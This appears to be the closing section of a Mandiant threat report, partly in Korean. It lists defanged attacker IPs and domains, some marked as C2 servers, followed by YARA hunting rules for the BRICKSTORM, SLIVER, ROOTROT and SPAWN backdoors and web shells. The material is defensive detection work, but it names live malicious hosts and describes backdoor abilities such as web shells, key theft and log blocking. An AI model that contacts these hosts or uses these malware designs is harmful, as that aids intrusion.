206.188.196[.]199

IPv4

Post-exploitation activity

oast[.]fun

Domain

Pre-exploitation validation

cpanel.netbar[.]org

Domain

WARPWIRE Variant C2 server

pan.xj[.]hk

Domain

Post-exploitation activity

akapush.us[.]to

Domain

SLIVER C2 server

opra1.oprawh.workers.dev

Domain

BRICKSTORM C2 server

도표 5: Network-based indicators

YARA 룰

rule M_Hunting_Webshell_ROOTROT_1 {
  meta:
    author = "Mandiant"
    description = "This rule detects ROOTROT, a web shell written in 
Perl that is embedded into a legitimate Pulse Secure .ttc file to 
enable arbitrary command execution."
    md5 = "c7ffd2c06e9b7e8e0b7ac92a0dbe3294"
  strings:
    $s1 = "use MIME::Base64" ascii
    $s2 = {6d 79 20 24 61 72 67 3d 64 65 63 6f 64 65 5f 62 61 73 
65 36 34 28 22 24 6b 65 79 22 29}
    $s3 = {24 6f 75 74 70 75 74 20 2e 3d 20 22 3c 21 2d 2d 5c 6e 
22 3b}
    $s4 = {22 3c 2f 62 6f 64 79 3e 5c 6e 5c 6e 3c 2f 68 74 6d 6c 3e 
5c 6e 22}
  condition:
    filesize < 4KB
    and all of them
}
rule M_Hunting_Backdoor_BRICKSTORM_1 {
  meta:
    author = "Mandiant"
    created = "2024-01-30"
    md5 = "4645f2f6800bc654d5fa812237896b00"
    descr = "Hunting rule looking for BRICKSTORM golang backdoor samples"
  strings:
    $v1 = "/home/vsphere-ui/vcli" ascii wide
    $v2 = "/opt/vmware/sbin" ascii wide
    $v3 = "/opt/vmware/sbin/vami-httpd" ascii wide
    $s1 = "github.com/gorilla/mux" ascii wide
    $s2 = "WRITE_LOG=true" ascii wide
    $s3 = "wssoft" ascii wide
    
  condition:
    uint32(0) == 0x464c457f and filesize < 6MB and 1 of ($v*) and 2 of ($s*)
}
import "pe"
rule M_APT_Backdoor_Win_PHANTOMNET_1
{
    meta:
        author = "Mandiant"
        md5 = "59f4d38a5caafbc94673c6d488bf37e3"

    strings:
        $phantomnet = /\\PhantomNet-\w{1,10}\.pdb/ ascii nocase
    condition:
        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) 
and all of them
}
rule M_APT_Backdoor_SLIVER_1
{
    meta:
        Author = “Mandiant”
        description = "Detects Windows, MacOS and ELF variants 
of the Sliver implant framework"
        md5 = "5ecd0c38501dfb02b682cec0a2d93aa9"

    strings:
        $s1 = ".InvokeSpawnDllReq"
        $s2 = ".(*InvokeSpawnDllReq).Reset"
        $s3 = ".(*InvokeSpawnDllReq).ProtoMessage"
        $s4 = ".(*InvokeSpawnDllReq).ProtoReflect"
        $s5 = ".(*InvokeSpawnDllReq).Descriptor"
        $s6 = ".(*InvokeSpawnDllReq).GetData"
        $s7 = ".(*InvokeSpawnDllReq).GetProcessName"
        $s8 = ".(*InvokeSpawnDllReq).GetArgs"
        $s10 = ".(*InvokeSpawnDllReq).GetKill"
        $s11 = ".(*InvokeSpawnDllReq).GetPPid"
        $s12 = ".(*InvokeSpawnDllReq).GetProcessArgs"
        $s13 = ".(*InvokeSpawnDllReq).GetRequest"
        $s14 = ".(*InvokeSpawnDllReq).String"
        $s15 = ".(*InvokeSpawnDllReq).GetEntryPoint"

    condition:
        ((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) 
or uint32(0) == 0x464c457f or (uint32(0) == 0xBEBAFECA or uint32(0) 
== 0xFEEDFACE or uint32(0) == 0xFEEDFACF or uint32(0) == 0xCEFAEDFE)) 
and 5 of ($s*)
}
rule M_APT_Backdoor_TERRIBLETEA_1 {
    meta:
        author = "Mandiant"
        description = "This rule is designed to detect on events related 
to terribletea. TERRIBLETEA is a backdoor written in Go that communicates 
over HTTP. Its many capabilities include shell command execution, 
capturing screens, keystroke logging, port scanning, enumerating files, 
starting a SOCKS5 proxy and new SSH session, downloading files, and 
executing SQL queries."
        md5 = "bb3b286f88728060c80ea65993576ef8"
    
    strings:
        $code_part_of_getcommand = {48 BA 44 61 74 61 31 73 33 6E 
[1-12] 80 7B ?? 64}
        $code_get_task = { 48 8D  [5] B9 04 00 00 00 48 8B ?? 24 [4] 48 
8D [5] 41 B8 03 00 00 00 E8}
        $func1 = "SendRequest" fullword
        $func2 ="UploadResult"
        $func3 ="Online"
        $func4 ="GetCommond"
    condition:
        all of ($code*) and any of ($func*) and filesize<20MB  
}
rule M_Launcher_TONERJAM_1
{
    meta:
        author = "Mandiant"
        description = "This rule detects TONERJAM, a launcher that 
decrypts and executes a shellcode payload stored as an encrypted 
local file and decrypts it using an AES key derived from a SHA hash 
of the final 16 bytes of the encrypted payload."

    strings:
        $p00_0 = {e9[4]488b41??668338??75??4883c0??488941??b8[4]eb??b8}
        $p00_1 = {8030??488d40??41ffc14183f9??72??ba[4]488d4c24??e8[4]488d0d}

    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
        (
            ($p00_0 in (17000..28000) and $p00_1 in (3700..14000))
        )
}
rule M_APT_Installer_SPAWNSNAIL_1
{ 
    meta: 
        author = "Mandiant" 
        description = "Detects SPAWNSNAIL. SPAWNSNAIL is an SSH 
backdoor targeting Ivanti devices. It has an ability to inject a specified 
binary to other process, running local SSH backdoor when injected to 
dsmdm process, as well as injecting additional malware to dslogserver" 
        md5 = "e7d24813535f74187db31d4114f607a1"
  
    strings: 
        $priv = "PRIVATE KEY-----" ascii fullword
        
        $key1 = "%d/id_ed25519" ascii fullword
        $key2 = "%d/id_ecdsa" ascii fullword
        $key3 = "%d/id_rsa" ascii fullword
        
        $sl1 = "[selinux] enforce" ascii fullword
        $sl2 = "DSVersion::getReleaseStr()" ascii fullword
        
        $ssh1 = "ssh_set_server_callbacks" ascii fullword
        $ssh2 = "ssh_handle_key_exchange" ascii fullword
        $ssh3 = "ssh_add_set_channel_callbacks" ascii fullword
        $ssh4 = "ssh_channel_close" ascii fullword
    
    condition: 
        uint32(0) == 0x464c457f and $priv and any of ($key*) 
and any of ($sl*) and any of ($ssh*)
} 
rule M_APT_Installer_SPAWNANT_1
{ 
    meta: 
        author = "Mandiant" 
        description = "Detects SPAWNANT. SPAWNANT is an 
Installer targeting Ivanti devices. Its purpose is to persistently 
install other malware from the SPAWN family (SPAWNSNAIL, 
SPAWNMOLE) as well as drop additional webshells on the box." 
  
    strings: 
        $s1 = "dspkginstall" ascii fullword
        $s2 = "vsnprintf" ascii fullword
        $s3 = "bom_files" ascii fullword
        $s4 = "do-install" ascii
        $s5 = "ld.so.preload" ascii
        $s6 = "LD_PRELOAD" ascii
        $s7 = "scanner.py" ascii
        
    condition: 
        uint32(0) == 0x464c457f and 5 of ($s*)
}
rule M_APT_Tunneler_SPAWNMOLE_1
{ 
    meta: 
        author = "Mandiant" 
        description = "Detects a specific comparisons in SPAWNMOLE 
tunneler, which allow malware to filter put its own traffic . 
SPAWNMOLE is a tunneler written in C and compiled as an ELF32 
executable. The sample is capable of hijacking a process on the 
compromised system with a specific name and hooking into its 
communication capabilities in order to create a proxy server for 
tunneling traffic." 
        md5 = "4f79c70cce4207d0ad57a339a9c7f43c"
  
    strings: 
        /*
        3C 16                                cmp     al, 16h
        74 14                                jz      short loc_5655C038
        0F B6 45 C1                          movzx   eax, [ebp+var_3F]
        3C 03                                cmp     al, 3
        74 0C                                jz      short loc_5655C038
        0F B6 45 C5                          movzx   eax, [ebp+var_3B]
        3C 01                                cmp     al, 1
        0F 85 ED 00 00 00                    jnz     loc_5655C125
        */


        $comparison1 = { 3C 16 74 [1] 0F B6 [2] 3C 03 74 [1] 0F B6 [2] 
3C 01 0F 85 }

        /*
        81 7D E8 E2 E3 49 FB                 cmp     [ebp+var_18], 0FB49E3E2h
        0F 85 CD 00 00 00                    jnz     loc_5655C128
        81 7D E4 61 83 C3 1B                 cmp     [ebp+var_1C], 1BC38361h
        0F 85 C0 00 00 00                    jnz     loc_5655C128
        */

        $comparison2 = { 81 [2] E2 E3 49 FB 0F 85 [4] 81 [2] 61 83 C3 
1B 0F 85}
        
  
    condition: 
        uint32(0) == 0x464c457f and all of them
}
rule M_APT_Utility_SPAWNSLOTH_1
{ 
    meta: 
        author = "Mandiant" 
        description = "Detects SPAWNSLOTH. SPAWNSLOTH 
is an Utility targeting Ivanti devices. Its purpose is to work 
together with SPAWNSNAIL and block logging via dslogserver 
process when SPAWNSNAIL backdoor is active." 
        md5 = "4acfc5df7f24c2354384f7449280d9e0"
  
    strings: 
        $dslog = "dslogserver" ascii fullword

        $hook1 = "g_do_syslog_servers_exist" ascii fullword
        $hook2 = "_ZN5DSLog4File3addEPKci" ascii fullword
        $hook3 = "funchook_create" ascii fullword
    
    condition: 
        uint32(0) == 0x464c457f and all of them
}

-Mandiant, 작성자: Matt Lin, Austin Larsen, John Wolfram, Ashley Pearson, Josh Murchie, Lukasz Lamparski, Joseph Pisano, Ryan Hall, Ron Craft, Shawn Chew, Billy Wong, Tyler McLellan

게시 위치